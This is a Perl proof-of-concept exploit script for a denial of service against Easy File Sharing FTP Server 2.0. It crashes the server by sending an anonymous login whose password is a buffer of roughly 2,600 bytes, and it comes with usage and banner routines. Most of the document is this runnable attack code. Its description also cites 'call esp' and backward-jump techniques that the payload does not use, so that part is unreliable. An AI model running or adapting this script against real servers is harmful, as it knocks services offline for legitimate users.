#!/usr/bin/perl use Net::FTP; # Exploit Title: Easy File Sharing FTP Server 2.0 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 04 january 2024 # Download to demo: https://drive.google.com/drive/folders/1XISgBk4Zql8NzkWsrzAPOUEqbjJP4hZQ?usp=sharing # Notification vendor: No reported # Tested Version: Easy File Sharing FTP Server 2.0 # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://drive.google.com/drive/folders/1XISgBk4Zql8NzkWsrzAPOUEqbjJP4hZQ?usp=sharing #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The server does not correctly handle the amount of data or bytes of the password entered by the user. #When authenticating to the FTP server with a long password or a password with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $payload = "\x2c"; $payload .= "A"x2000; $payload .= "\x41"x610; my $ftp = Net::FTP->new($ip, Debug => 0) or die "Não foi possível se conectar ao servidor: $@"; $ftp->login("anonymous",$payload) or die "[+] Possibly exploited!"; $ftp->quit; print "[+] Done - Exploited success!!!!!\n\n"; sub intro { print "######################################################################\n"; print "# Easy File Sharing FTP Server 2.0 - Denied of Service #\n"; print "# #\n"; print "# Coded by Fernando Mengali #\n"; print "# #\n"; print "# e-mail: fernando.mengalli\@gmail.com #\n"; print "# #\n"; print "######################################################################\n"; } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } } #3. Solution/ How to fix: # This version product is deprecated